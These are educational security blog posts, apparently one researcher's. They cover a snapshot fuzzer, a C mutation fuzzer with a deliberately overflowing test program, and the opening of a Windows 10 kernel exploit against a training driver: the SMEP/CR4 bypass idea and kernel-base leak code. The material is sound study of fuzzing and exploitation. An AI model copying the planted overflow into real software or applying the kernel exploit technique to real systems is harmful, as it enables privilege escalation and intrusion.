    remote[2].iov_base = (void*)0x7ffff7dd1000;
    remote[2].iov_len = 0x4000;
    remote[3].iov_base = (void*)0x7ffff7fe0000;
    remote[3].iov_len = 0x2000;
    remote[4].iov_base = (void*)0x7ffff7ffd000;
    remote[4].iov_len = 0x1000;
    remote[5].iov_base = (void*)0x7ffff7ffe000;
    remote[5].iov_len = 0x1000;
    remote[6].iov_base = (void*)0x7ffffffde000;
    remote[6].iov_len = 0x21000;
 
    bytes_written = process_vm_writev(child_pid, local, 7, remote, 7, 0);
    //printf("dragonfly> %ld bytes written\n", bytes_written);
}

So for 7 different writable sections, we’ll write into the debuggee process at the offsets defined in /proc/$pid/maps from our snapshot_buf that has the pristine snapshot data. AND IT WILL BE FAST!

So now that we have the ability to restore the writable memory, we’ll only need to restore the register states now and we’ll be able to complete our rudimentary snapshot mechanism. That is easy using our ptrace_helpers defined functions and you can see the two function calls within the fuzzing loop as follows:

// restore writable memory from /proc/$pid/maps to its state at Start
restore_snapshot(snapshot_buf, child_pid);

// restore registers to their state at Start
set_regs(child_pid, snapshot_registers);

So that’s how our snapshot process works and in my testing, we achieved about a 20-30x speed-up over the dumb fuzzer!

Making our Dumb Fuzzer Smart

At this point, we still have a dumb fuzzer (albeit much faster now). We need to be able to track code coverage. A very simple way to do this would be to place a breakpoint at every ‘basic block’ between check_one and exit so that if we reach new code, a breakpoint will be reached and we can do_something() there.

This is exactly what I did except for simplicity sake, I just placed ‘dynamic’ (code coverage) breakpoints at the entry points to check_two and check_three. When a ‘dynamic’ breakpoint is reached, we save the input that reached the code into an array of char pointers called the ‘corpus’ and we can now start mutating those saved inputs instead of just our ‘prototype’ input of Canon_40D.jpg.

So our code coverage feedback mechanism will work like this:

  1. Mutate prototype input and insert the fuzzcase into the heap
  2. Resume debuggee
  3. If ‘dynamic breakpoint’ reached, save input into corpus
  4. If corpus > 0, randomly pick an input from the corpus or the prototype and repeat from step 1

We also have to remove the dynamic breakpoint so that we stop breaking on it. Good thing we already know how to do this well!

As you may remember from the last post, code coverage is crucial to our ability to crash this test binary vuln as it performs 3 byte comparisons that all must pass before it crashes. We determined mathematically last post that our chances of passing the first check is about 1 in 13 thousand and our chances of passing the first two checks is about 1 in 170 million. Because we’re saving input off that passes check_one and mutating it further, we can reduce the probability of passing check_two down to something close to the 1 in 13 thousand figure. This also applies to inputs that then pass check_two and we can therefore reach and pass check_three with ease.

Running The Fuzzer

The first stage of our fuzzer, which collects snapshot data and sets ‘dynamic breakpoints’ for code coverage, completes very quickly even though its not meant to be fast. This is because all the values are hardcoded since our target is extremely simple. In a complex multi-threaded target we would need some way to script the discovery of dynamic breakpoint addresses via Ghidra or objdump or something and we’d need to have that script write a configuration file for our fuzzer, but that’s far off. For now, for a POC, this works fine.

[email protected]:~/fuzzing/dragonfly_dir$ ./dragonfly 

dragonfly> debuggee pid: 12156
dragonfly> setting 'start/end' breakpoints:

   start-> 0x555555554b41
   end  -> 0x5555555548c0

dragonfly> set dynamic breakpoints: 

           0x555555554b7d
           0x555555554bb9

dragonfly> collecting snapshot data
dragonfly> snapshot collection complete
dragonfly> press any key to start fuzzing!

You can see that the fuzzer helpfully displays the ‘start’ and ‘end’ breakpoints as well as lists the ‘dynamic breakpoints’ for us so that we can check to see that they are correct before fuzzing. The fuzzer pauses and waits for us to press any key to start fuzzing. We can also see that the snapshot data collection has completed successfully so now we are broken on ‘start’ and have all the data we need to start fuzzing.

Once we press enter, we get a statistics output that shows us how the fuzzing is going:

dragonfly> stats (target:vuln, pid:12156)

fc/s       : 41720
crashes    : 5
iterations : 0.3m
coverage   : 2/2 (%100.00)

As you can see, it found both ‘dynamic breakpoints’ almost instantly and is currently running about 41k fuzzing iterations per second of CPU time (about 20-30x faster in wall time than our dumb fuzzer).

Most importantly, you can see that we were able to crash the binary 5 times already in just 300k iterations! We could’ve never done this with our previous fuzzer.

vv CLICK THIS TO WATCH IT IN ACTION vv

asciicast

Conclusion

One of the biggest takeaways for me from doing this was just how much more performance you can squeeze out of a fuzzer if you just customize it for your target. Using out of the box frameworks like AFL is great and they are incredibly impressive tools, I hope this fuzzer will one day grow into something comparable. We were able to run about 20-30x faster than AFL for this really simple target and were able to crash it almost instantly with just a little bit of reverse engineering and customization. I thought this was really neat and instructive. In the future, when I adapt this fuzzer for a real target, I should be able to outperform frameworks again.

Ideas for Improvment

Where to begin? We have a lot of areas where we can improve but some immediate improvements that can be made are:

  • optimize performance by refactoring code, changing location of global variables
  • enabling the dynamic configuration of the fuzzer via a config file that can be created via a Python script
  • implementing more mutation methods
  • implementing more code coverage mechanisms
  • developing the fuzzer so that many instances can run in parallel and share discovered inputs/coverage data

Perhaps we will see these improvements in a subsequent post and the results of fuzzing a real target with the same general approach. Until then!

Code

All of the code for this blogpost can be found here: https://github.com/h0mbre/Fuzzing/tree/master/Caveman4

Fuzzing Like A Caveman 3: Trying to Somewhat Understand The Importance Code Coverage

26 May 2020 at 04:00
By: h0mbre

Introduction

In this episode of ‘Fuzzing like a Caveman’, we’ll be continuing on our by noob for noobs fuzzing journey and trying to wrap our little baby fuzzing brains around the concept of code coverage and why its so important. As far as I know, code coverage is, at a high-level, the attempt made by fuzzers to track/increase how much of the target application’s code is reached by the fuzzer’s inputs. The idea being that the more code your fuzzer inputs reach, the greater the attack surface, the more comprehensive your testing is, and other big brain stuff that I don’t understand yet.

I’ve been working on my pwn skills, but taking short breaks for sanity to write some C and watch some @gamozolabs streams. @gamozolabs broke down the importance of code coverage during one of these streams, and I cannot for the life of me track down the clip, but I remembered it vaguely enough to set up some test cases just for my own testing to demonstrate why “dumb” fuzzers are so disadvantaged compared to code-coverage-guided fuzzers. Get ready for some (probably incorrect 🤣) 8th grade probability theory. By the end of this blog post, we should be able to at least understand, broadly, how state of the art fuzzers worked in 1990.

Our Fuzzer

We have this beautiful, error free, perfectly written, single-threaded jpeg mutation fuzzer that we’ve ported to C from our previous blog posts and tweaked a bit for the purposes of our experiments here.

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h> 
#include <fcntl.h>

int crashes = 0;

struct ORIGINAL_FILE {
    char * data;
    size_t length;
};

struct ORIGINAL_FILE get_data(char* fuzz_target) {

    FILE *fileptr;
    char *clone_data;
    long filelen;

    // open file in binary read mode
    // jump to end of file, get length
    // reset pointer to beginning of file
    fileptr = fopen(fuzz_target, "rb");
    if (fileptr == NULL) {
        printf("[!] Unable to open fuzz target, exiting...\n");
        exit(1);
    }
    fseek(fileptr, 0, SEEK_END);
    filelen = ftell(fileptr);
    rewind(fileptr);

    // cast malloc as char ptr
    // ptr offset * sizeof char = data in .jpeg
    clone_data = (char *)malloc(filelen * sizeof(char));

    // get length for struct returned
    size_t length = filelen * sizeof(char);

    // read in the data
    fread(clone_data, filelen, 1, fileptr);
    fclose(fileptr);

    struct ORIGINAL_FILE original_file;
    original_file.data = clone_data;
    original_file.length = length;

    return original_file;
}

void create_new(struct ORIGINAL_FILE original_file, size_t mutations) {

    //
    //----------------MUTATE THE BITS-------------------------
    //
    int* picked_indexes = (int*)malloc(sizeof(int)*mutations);
    for (int i = 0; i < (int)mutations; i++) {
        picked_indexes[i] = rand() % original_file.length;
    }

    char * mutated_data = (char*)malloc(original_file.length);
    memcpy(mutated_data, original_file.data, original_file.length);

    for (int i = 0; i < (int)mutations; i++) {
        char current = mutated_data[picked_indexes[i]];

        // figure out what bit to flip in this 'decimal' byte
        int rand_byte = rand() % 256;
        
        mutated_data[picked_indexes[i]] = (char)rand_byte;
    }

    //
    //---------WRITING THE MUTATED BITS TO NEW FILE-----------
    //
    FILE *fileptr;
    fileptr = fopen("mutated.jpeg", "wb");
    if (fileptr == NULL) {
        printf("[!] Unable to open mutated.jpeg, exiting...\n");
        exit(1);
    }
    // buffer to be written from,
    // size in bytes of elements,
    // how many elements,
    // where to stream the output to :)
    fwrite(mutated_data, 1, original_file.length, fileptr);
    fclose(fileptr);
    free(mutated_data);
    free(picked_indexes);
}

void exif(int iteration) {
    
    //fileptr = popen("exiv2 pr -v mutated.jpeg >/dev/null 2>&1", "r");
    char* file = "vuln";
    char* argv[3];
    argv[0] = "vuln";
    argv[1] = "mutated.jpeg";
    argv[2] = NULL;
    pid_t child_pid;
    int child_status;

    child_pid = fork();
    if (child_pid == 0) {
        
        // this means we're the child process
        int fd = open("/dev/null", O_WRONLY);

        // dup both stdout and stderr and send them to /dev/null
        dup2(fd, 1);
        dup2(fd, 2);
        close(fd);
        

        execvp(file, argv);
        // shouldn't return, if it does, we have an error with the command
        printf("[!] Unknown command for execvp, exiting...\n");
        exit(1);
    }
    else {
        // this is run by the parent process
        do {
            pid_t tpid = waitpid(child_pid, &child_status, WUNTRACED |
             WCONTINUED);
            if (tpid == -1) {
                printf("[!] Waitpid failed!\n");
                perror("waitpid");
            }
            if (WIFEXITED(child_status)) {
                //printf("WIFEXITED: Exit Status: %d\n", WEXITSTATUS(child_status));
            } else if (WIFSIGNALED(child_status)) {
                crashes++;
                int exit_status = WTERMSIG(child_status);
                printf("\r[>] Crashes: %d", crashes);
                fflush(stdout);
                char command[50];
                sprintf(command, "cp mutated.jpeg ccrashes/%d.%d", iteration, 
                exit_status);
                system(command);
            } else if (WIFSTOPPED(child_status)) {
                printf("WIFSTOPPED: Exit Status: %d\n", WSTOPSIG(child_status));
            } else if (WIFCONTINUED(child_status)) {
                printf("WIFCONTINUED: Exit Status: Continued.\n");
            }
        } while (!WIFEXITED(child_status) && !WIFSIGNALED(child_status));
    }
}

int main(int argc, char** argv) {

    if (argc < 3) {
        printf("Usage: ./cfuzz <valid jpeg> <num of fuzz iterations>\n");
        printf("Usage: ./cfuzz Canon_40D.jpg 10000\n");
        exit(1);
    }

    // get our random seed
    srand((unsigned)time(NULL));

    char* fuzz_target = argv[1];
    struct ORIGINAL_FILE original_file = get_data(fuzz_target);
    printf("[>] Size of file: %ld bytes.\n", original_file.length);
    size_t mutations = (original_file.length - 4) * .02;
    printf("[>] Flipping up to %ld bytes.\n", mutations);

    int iterations = atoi(argv[2]);
    printf("[>] Fuzzing for %d iterations...\n", iterations);
    for (int i = 0; i < iterations; i++) {
        create_new(original_file, mutations);
        exif(i);
    }
    
    printf("\n[>] Fuzzing completed, exiting...\n");
    return 0;
}

Not going to spend a lot of time on the fuzzer’s features (what features?) here, but some important things about the fuzzer code:

  • it takes a file as input and copies the bytes from the file into a buffer
  • it calculates the length of the buffer in bytes, and then mutates 2% of the bytes by randomly overwriting them with arbitrary bytes
  • the function responsible for the mutation, create_new, doesn’t keep track of what byte indexes were mutated so theoretically, the same index could be chosen for mutation multiple times, so really, the fuzzer mutates up to 2% of the bytes.

Small Detour, I Apologize

We only have one mutation method here to keep things super simple, in doing so, I actually learned something really useful that I hadn’t clearly thought out previously. In a previous post I wondered, embarrassingly, aloud and in print, how much different random bit flipping was from random byte overwriting (flipping?). Well, it turns out, they are super different. Let’s take a minute to see how.

Let’s say we’re mutating an array of bytes called bytes. We’re mutating index 5. bytes[5] == \x41 (65 in decimal) in the unmutated, pristine original file. If we only bit flip, we are super limited in how much we can mutate this byte. 65 is 01000001 in binary. Let’s just go through at see how much it changes from arbitrarily flipping one bit:

  • Flipping first bit: 11000001 = 193,
  • Flipping second bit: 00000001 = 1,
  • Flipping third bit: 01100001 = 97,
  • Flipping fourth bit: 01010001 = 81,
  • Flipping fifth bit: 01001001 = 73,
  • Flipping sixth bit: 01000101 = 69,
  • Flipping seventh bit: 01000011 = 67, and
  • Flipping eighth bit: 010000001 = 64.

As you can see, we’re locked in to a severely limited amount of possibilities.

So for this program, I’ve opted to replace this mutation method with one that instead just substitutes a random byte instead of a bit within the byte.

Vulnerable Program

I wrote a simple cartoonish program to demonstrate how hard it can be for “dumb” fuzzers to find bugs. Imagine a target application that has several decision trees in the disassembly map view of the binary. The application performs 2-3 checks on the input to see if it meets certain criteria before passing the input to some sort of vulnerable function. Here is what I mean:

Our program does this exact thing, it retrieves the bytes of an input file and checks the bytes at an index 1/3rd of the file length, 1/2 of the file length, and 2/3 of the file length to see if the bytes in those positions match some hardcoded values (arbitrary). If all the checks are passed, the application copies the byte buffer into a small buffer causing a segfault to simulate a vulnerable function. Here is our program:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

struct ORIGINAL_FILE {
    char * data;
    size_t length;
};

struct ORIGINAL_FILE get_bytes(char* fileName) {

    FILE *filePtr;
    char* buffer;
    long fileLen;

    filePtr = fopen(fileName, "rb");
    if (!filePtr) {
        printf("[>] Unable to open %s\n", fileName);
        exit(-1);
    }
    
    if (fseek(filePtr, 0, SEEK_END)) {
        printf("[>] fseek() failed, wtf?\n");
        exit(-1);
    }

    fileLen = ftell(filePtr);
    if (fileLen == -1) {
        printf("[>] ftell() failed, wtf?\n");
        exit(-1);
    }

    errno = 0;
    rewind(filePtr);
    if (errno) {
        printf("[>] rewind() failed, wtf?\n");
        exit(-1);
    }

    long trueSize = fileLen * sizeof(char);
    printf("[>] %s is %ld bytes.\n", fileName, trueSize);
    buffer = (char *)malloc(fileLen * sizeof(char));
    fread(buffer, fileLen, 1, filePtr);
    fclose(filePtr);

    struct ORIGINAL_FILE original_file;
    original_file.data = buffer;
    original_file.length = trueSize;

    return original_file;
}

void check_one(char* buffer, int check) {

    if (buffer[check] == '\x6c') {
        return;
    }
    else {
        printf("[>] Check 1 failed.\n");
        exit(-1);
    }
}

void check_two(char* buffer, int check) {

    if (buffer[check] == '\x57') {
        return;
    }
    else {
        printf("[>] Check 2 failed.\n");
        exit(-1);
    }
}

void check_three(char* buffer, int check) {

    if (buffer[check] == '\x21') {
        return;
    }
    else {
        printf("[>] Check 3 failed.\n");
        exit(-1);
    }
}

void vuln(char* buffer, size_t length) {

    printf("[>] Passed all checks!\n");
    char vulnBuff[20];

    memcpy(vulnBuff, buffer, length);

}

int main(int argc, char *argv[]) {
    
    if (argc < 2 || argc > 2) {
        printf("[>] Usage: vuln example.txt\n");
        exit(-1);
    }

    char *filename = argv[1];
    printf("[>] Analyzing file: %s.\n", filename);

    struct ORIGINAL_FILE original_file = get_bytes(filename);

    int checkNum1 = (int)(original_file.length * .33);
    printf("[>] Check 1 no.: %d\n", checkNum1);

    int checkNum2 = (int)(original_file.length * .5);
    printf("[>] Check 2 no.: %d\n", checkNum2);

    int checkNum3 = (int)(original_file.length * .67);
    printf("[>] Check 3 no.: %d\n", checkNum3);

    check_one(original_file.data, checkNum1);
    check_two(original_file.data, checkNum2);
    check_three(original_file.data, checkNum3);
    
    vuln(original_file.data, original_file.length);
    

    return 0;
}

Keep in mind that this is only one type of criteria, there are several different types of criteria that exist in binaries. I selected this one because the checks are so specific it can demonstrate, in an exaggerated way, how hard it can be to reach new code purely by randomness.

Our sample file, which we’ll mutate and feed to this vulnerable application is still the same file from the previous posts, the Canon_40D.jpg file with exif data.

[email protected]:~/fuzzing$ file Canon_40D.jpg 
Canon_40D.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=11, manufacturer=Canon, model=Canon EOS 40D, orientation=upper-left, xresolution=166, yresolution=174, resolutionunit=2, software=GIMP 2.4.5, datetime=2008:07:31 10:38:11, GPS-Data], baseline, precision 8, 100x68, frames 3
[email protected]:~/fuzzing$ ls -lah Canon_40D.jpg 
-rw-r--r-- 1 h0mbre h0mbre 7.8K May 25 06:21 Canon_40D.jpg

The file is 7958 bytes long. Let’s feed it to the vulnerable program and see what indexes are chosen for the checks:

[email protected]:~/fuzzing$ vuln Canon_40D.jpg 
[>] Analyzing file: Canon_40D.jpg.
[>] Canon_40D.jpg is 7958 bytes.
[>] Check 1 no.: 2626
[>] Check 2 no.: 3979
[>] Check 3 no.: 5331
[>] Check 1 failed.

So we can see that indexes 2626, 3979, and 5331 were chosen for testing and that the file failed the first check as the byte at that position wasn’t \x6c.

Experiment 1: Passing Only One Check

Let’s take away checks two and three and see how our dumb fuzzer performs against the binary when we only have to pass one check.

I’ll comment out checks two and three:

check_one(original_file.data, checkNum1);
//check_two(original_file.data, checkNum2);
//check_three(original_file.data, checkNum3);
    
vuln(original_file.data, original_file.length);

And so now, we’ll take our unaltered jpeg, which naturally does not pass the first check, and have our fuzzer mutate it and send it to the vulnerable application hoping for crashes. Remember, that the fuzzer mutates up to 159 bytes of the 7958 bytes total each fuzzing iteration. If the fuzzer randomly inserts an \x6c into index 2626, we will pass the first check and execution will pass to the vulnerable function and cause a crash. Let’s run our dumb fuzzer 1 million times and see how many crashes we get.

[email protected]:~/fuzzing$ ./fuzzer Canon_40D.jpg 1000000
[>] Size of file: 7958 bytes.
[>] Flipping up to 159 bytes.
[>] Fuzzing for 1000000 iterations...
[>] Crashes: 88
[>] Fuzzing completed, exiting...

So out of 1 million iterations, we got 88 crashes. So on about %.0088 of our iterations, we met the criteria to pass check 1 and hit the vulnerable function. Let’s double check our crash to make sure there’s no error in any of our code (I fuzzed the vulnerable program with all checks enabled in QEMU mode (to simulate not having source code) with AFL for 14 hours and wasn’t able to crash the program so I hope there are no bugs that I don’t know about 😬).

[email protected]:~/fuzzing/ccrashes$ vuln 998636.11 
[>] Analyzing file: 998636.11.
[>] 998636.11 is 7958 bytes.
[>] Check 1 no.: 2626
[>] Check 2 no.: 3979
[>] Check 3 no.: 5331
[>] Passed all checks!
Segmentation fault

So feeding the vulnerable program one of the crash inputs actually does crash it. Cool.

Disclaimer: Here is where some math comes in, and I’m not guaranteeing this math is correct. I even sought help from some really smart people like @Firzen14 and am still not 100% confident in my math lol. But! I did go ahead and simulate the systems involved here hundreds of millions of times and the results of the empirical data were super close to what the possibly broken math said it should be. So, if it’s not correct, its at least close enough to prove the points I’m trying to demonstrate.

Let’s try and figure out how likely it is that we pass the first check and get a crash. The first obstacle we need to pass is that we need index 2626 to be chosen for mutation. If it’s not mutated, we know that by default its not going to hold the value we need it to hold and we won’t pass the check. Since we’re selecting a byte to be mutated 159 times, and we have 7958 bytes to choose from, the odds of us mutating the byte at index 2626 is probably something close to 159/7958 which is 0.0199798944458407.

The second obstacle, is that we need it to hold exactly \x6c and the fuzzer has 255 byte values to choose from. So the chances of this byte, once selected for mutation, to be mutated to exactly \x6c is 1/255, which is 0.003921568627451.

So the chances of both of these things occurring should be close to 0.0199798944458407 * 0.003921568627451, (about .0078%), which if you multiply by 1 million, would have you at around 78 crashes. We were pretty close to that with 88. Given that we’re doing this randomly, there is going to be some variance.

So in conclusion for Experiment 1, we were able to reliably pass this one type of check and reach our vulnerable function with our dumb fuzzer. Let’s see how things change when add a second check.

Experiment 2: Passing Two Checks

Here is where the math becomes an even bigger problem; however, as I said previously, I ran a simulation of the events hundreds of millions of times and was pretty close to what I thought should be the math.

Having the byte value be correct is fairly straightforward I think and is always going to be 1/255, but having both indexes selected for mutation with only 159 choices available tripped me up. I ran a simulator to see how often it occurred that both indexes were selected for mutation and let it run for a while, after over 390 million iterations, it happened around 155,000 times total.

<snip>
Occurences: 155070    Iterations: 397356879
Occurences: 155080    Iterations: 397395052
Occurences: 155090    Iterations: 397422769
<snip>

155090/397422769 == .0003902393423261565. I would think the math is something close to (159/7958) * (158/7958), which would end up being .0003966855142551934. So you can see that they’re pretty close, given some random variance, they’re not too far off. This should be close enough to demonstrate the problem.

Now that we have to pass two checks, we can mathematically summarize the odds of this happening with our dumb fuzzer as follows:

((159/7958) * (1/255)) == odds to pass first check
odds to pass first check * (158/7958) == odds to pass first check and have second index targeted for mutation
odds to pass first check * ((158/7958) * (1/255)) == odds to have second index targeted for mutation and hold the correct value
((159/7958) * (1/255)) * ((158/7958) * (1/255)) == odds to pass both checks
((0.0199798944458407 * 0.003921568627451‬) * (0.0198542347323448 * 0.003921568627451)) == 6.100507716342904e-9

So the odds of us getting both indexes selected for mutation and having both indexes mutated to hold the needed value is around .000000006100507716342904, which is .0000006100507716342904%.

For one check enabled, we should’ve expected ONE crash every ~12,820 iterations.

For two checks enabled, we should expect ONE crash every ~163 million iterations.

This is quite the problem. Our fuzzer would need to run for a very long time to reach that many iterations on average. As written and performing in a VM, the fuzzer does roughly 1,600 iterations a second. It would take me about 28 hours to reach 163 million iterations. You can see how our chances of finding the bug decreased exponentionally with just one more check enabled. Imagine a third check being added!

How Code Coverage Tracking Can Help Us

If our fuzzer was able to track code coverage, we could turn this problem into something much more manageable.

Generically, a code coverage tracking system in our fuzzer would keep track of what inputs reached new code in the application. There are many ways to do this. Sometimes when source code is available to you, you can recompile the binaries with instrumentation added that informs the fuzzer when new code is reached, there is emulation, etc. @gamozolabs has a really cool Windows userland code coverage system that leverages an extremely fast debugger that sets millions of breakpoints in a target binary and slowly removes breakpoints as they are reached called ‘mesos’. Once your fuzzer becomes aware that a mutated input reached new code, it would save that input off so that it can be re-used and mutated further to reach even more code. That is a very simple explanation, but hopefully it paints a clear picture.

I haven’t yet implemented a code coverage technique for the fuzzer, but we can easily simulate one. Let’s say our fuzzer was able, 1 out of ~13,000 times, to pass the first check and reach that second check in the program.

The first time the input reached this second check, it would be considered new code coverage. As a result, our now smart fuzzer would save that input off as it caused new code to be reached. This input would then be fed back through the mutator and hopefully reach the same new code again with the added possibility of reaching even more code.

Let’s demonstrate this. Let’s doctor our file Canon_40D.jpg such that the byte at the 2626 index is \x6c, and feed it through to our vulnerable application.

[email protected]:~/fuzzing$ vuln Canon_altered.jpg 
[>] Analyzing file: Canon_altered.jpg.
[>] Canon_altered.jpg is 7958 bytes.
[>] Check 1 no.: 2626
[>] Check 2 no.: 3979
[>] Check 2 failed.

As you can see, we passed the first check and failed on the second check. Let’s use this Canon_altered.jpg file now as our base input that we use for mutation simulating the fact that we have code coverage tracking in our fuzzer and see how many crashes we get when there are only testing for two checks total.

[email protected]:~/fuzzing$ ./fuzzer Canon_altered.jpg 1000000
[>] Size of file: 7958 bytes.
[>] Flipping up to 159 bytes.
[>] Fuzzing for 1000000 iterations...
[>] Crashes: 86
[>] Fuzzing completed, exiting...

So by using the file that got us increased code coverage, ie it passed the first check, as a base file and sending it back through the mutator, we were able to pass the second check 86 times. We essentially took that exponentially hard problem we had earlier and turned it back into our original problem of only needing to pass one check. There are a bunch of other considerations that real fuzzers would have to take into account but I’m just trying to plainly demonstrate how it helps reduce the exponential problem into a more manageable one.

We reduced our ((0.0199798944458407 * 0.003921568627451‬) * (0.0198542347323448 * 0.003921568627451)) == 6.100507716342904e-9 problem to something closer to (0.0199798944458407 * 0.003921568627451)‬, which is a huge win for us.

Some nuance here is that feeding the altered file back through the mutation process could do a few things. It could remutate the byte at index 2626 and then we wouldn’t even pass the first check. It could mutate the file so much (remember, it is already up to 2% different than a valid jpeg from the first round of mutation) that the vulnerable application flat out rejects the input and we waste fuzz cycles.

So there are a lot of other things to consider, but hopefully this plainly demonstrates how code-coverage helps fuzzers complete a more comprehensive test of a target binary.

Conclusion

There are a lot of resources out there on different code coverage techniques, definitely follow up and read more on the subject if it interests you. @carste1n has a great series where he goes through incrementally improves a fuzzer, you can catch the latest article here: https://carstein.github.io/2020/05/21/writing-simple-fuzzer-4.html

At some time in the future we can add some code coverage logic to our dumb fuzzer from this article and we can use the vulnerable program as a sort of benchmark to judge the effectiveness of a code coverage technique.

Some interesting notes, I fuzzed the vulnerable application with all three checks enabled with AFL for about 13 hours and wasn’t able to crash it! I’m not sure why it was so difficult. With only two checks enabled, AFL was able to find the crash very quickly. Maybe there was something wrong with my testing, I’m not quite sure.

Until next time!

The Summer of PWN

5 May 2020 at 04:00
By: h0mbre

Summer Plans

Now that I finished the HEVD series of posts, it’s time for me to switch gears. The series became more of a chore as I progressed and the excercise felt quite silly for a few reasons. Primarily, there are still so many fundamental binary exploitation concepts that I still don’t know. Why was I spending so much time on very esoteric material when I haven’t even accomplished the basics? The material was tied closely to my wanting to take AWE with Offsec, but since that is not happening, I get to focus now on going back to the basics.

For the forseeable future, I’m going to be working primarily on leveling up my pwn skills by doing CTF challenges, reversing, analyzing malware, and developing.

Some of the tools I’m going to be using this summer (I’ll update this as I go along):

I will be keeping a daily log of everything I do and will publish it so those trying accomplish similar goals can see what I tried. I’ll also make a post at the end detailing what went right and what went wrong.

I’m taking a purposeful break from blogging so that I can focus on leveling up. Blogging takes a lot of my time and it’s interfering with my ability to put hours into getting better. I will hopefully be able to do a write-up detailing how I exploited a bug I found in another Windows kernel mode driver.

Keeping track of the Linux pwn challenge exploits here.

Until then, see you on the other side!

HEVD Exploits – Windows 10 x64 Stack Overflow SMEP Bypass

4 May 2020 at 04:00
By: h0mbre

Introduction

This is going to be my last HEVD blog post. This was all of the exploits I wanted to hit when I started this goal in late January. We did quite a few, there are some definitely interesting ones left on the table and there is all of the Linux exploits as well. I’ll speak more about future posts in a future post (haha). I used Hacksys Extreme Vulnerable Driver 2.0 and Windows 10 Build 14393.rs1_release.160715-1616 for this exploit. Some of the newer Windows 10 builds were bugchecking this technique.

All of the exploit code can be found here.

Thanks

  • To @Cneelis for having such great shellcode in his similar exploit on a different Windows 10 build here: https://github.com/Cn33liz/HSEVD-StackOverflowX64/blob/master/HS-StackOverflowX64/HS-StackOverflowX64.c
  • To @abatchy17 for his awesome blog post on his SMEP bypass here: https://www.abatchy.com/2018/01/kernel-exploitation-4
  • To @ihack4falafel for helping me figure out where to return to after running my shellcode.

And as this is the last HEVD blog post, thanks to everyone who got me this far. As I’ve said every post so far, nothing I was doing is my own idea or technique, was simply recreating their exploits (or at least trying to) in order to learn more about the bug classes and learn more about the Windows kernel. (More thoughts on this later in a future blog post).

SMEP

We’ve already completed a Stack Overflow exploit for HEVD on Windows 7 x64 here; however, the problem is that starting with Windows 8, Microsoft implemented a new mitigation by default called Supervisor Mode Execution Prevention (SMEP). SMEP detects kernel mode code running in userspace stops us from being able to hijack execution in the kernel and send it to our shellcode pointer residing in userspace.

Bypassing SMEP

Taking my cues from Abatchy, I decided to try and bypass SMEP by using a well-known ROP chain technique that utilizes segments of code in the kernel to disable SMEP and then heads to user space to call our shellcode.

In the linked material above, you see that the CR4 register is responsible for enforcing this protection and if we look at Wikipedia, we can get a complete breakdown of CR4 and what its responsibilities are:

20 SMEP Supervisor Mode Execution Protection Enable If set, execution of code in a higher ring generates a fault.

So the 20th bit of the CR4 indicates whether or not SMEP is enforced. Since this vulnerability we’re attacking gives us the ability to overwrite the stack, we’re going to utilize a ROP chain consisting only of kernel space gadgets to disable SMEP by placing a new value in CR4 and then hit our shellcode in userspace.

Getting Kernel Base Address

The first thing we want to do, is to get the base address of the kernel. If we don’t get the base address, we can’t figure out what the offsets are to our gadgets that we want to use to bypass ASLR. In WinDBG, you can simply run lm sm to list all loaded kernel modules alphabetically:

---SNIP---
fffff800`10c7b000 fffff800`1149b000   nt
---SNIP---

We need a way also to get this address in our exploit code. For this part, I leaned heavily on code I was able to find by doing google searches with some syntax like: site:github.com NtQuerySystemInformation and seeing what I could find. Luckily, I was able to find a lot of code that met my needs perfectly. Unfortunately, on Windows 10 in order to use this API your process requires some level of elevation. But, I had already used the API previously and was quite fond of it for giving me so much trouble the first time I used it to get the kernel base address and wanted to use it again but this time in C++ instead of Python.

Using a lot of the tricks that I learned from @tekwizz123’s HEVD exploits, I was able to get the API exported to my exploit code and was able to use it effectively. I won’t go too much into the code here, but this is the function and the typedefs it references to retrieve the base address to the kernel for us:

typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    ULONG				 Reserved3;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 LoadCount;
    WORD                 NameOffset;
    CHAR                 Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 0xb
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );

INT64 get_kernel_base() {

    cout << "[>] Getting kernel base address..." << endl;

    //https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp
    //also using the same import technique that @tekwizz123 showed us

    PNtQuerySystemInformation NtQuerySystemInformation =
        (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
            "NtQuerySystemInformation");

    if (!NtQuerySystemInformation) {

        cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl;
        cout << "[!] Last error " << GetLastError() << endl;
        exit(1);
    }

    ULONG len = 0;
    NtQuerySystemInformation(SystemModuleInformation,
        NULL,
        0,
        &len);

    PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)
        VirtualAlloc(NULL,
            len,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);

    NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,
        pModuleInfo,
        len,
        &len);

    if (status != (NTSTATUS)0x0) {
        cout << "[!] NtQuerySystemInformation failed!" << endl;
        exit(1);
    }

    PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;

    cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl;

    return (INT64)kernelImageBase;
}

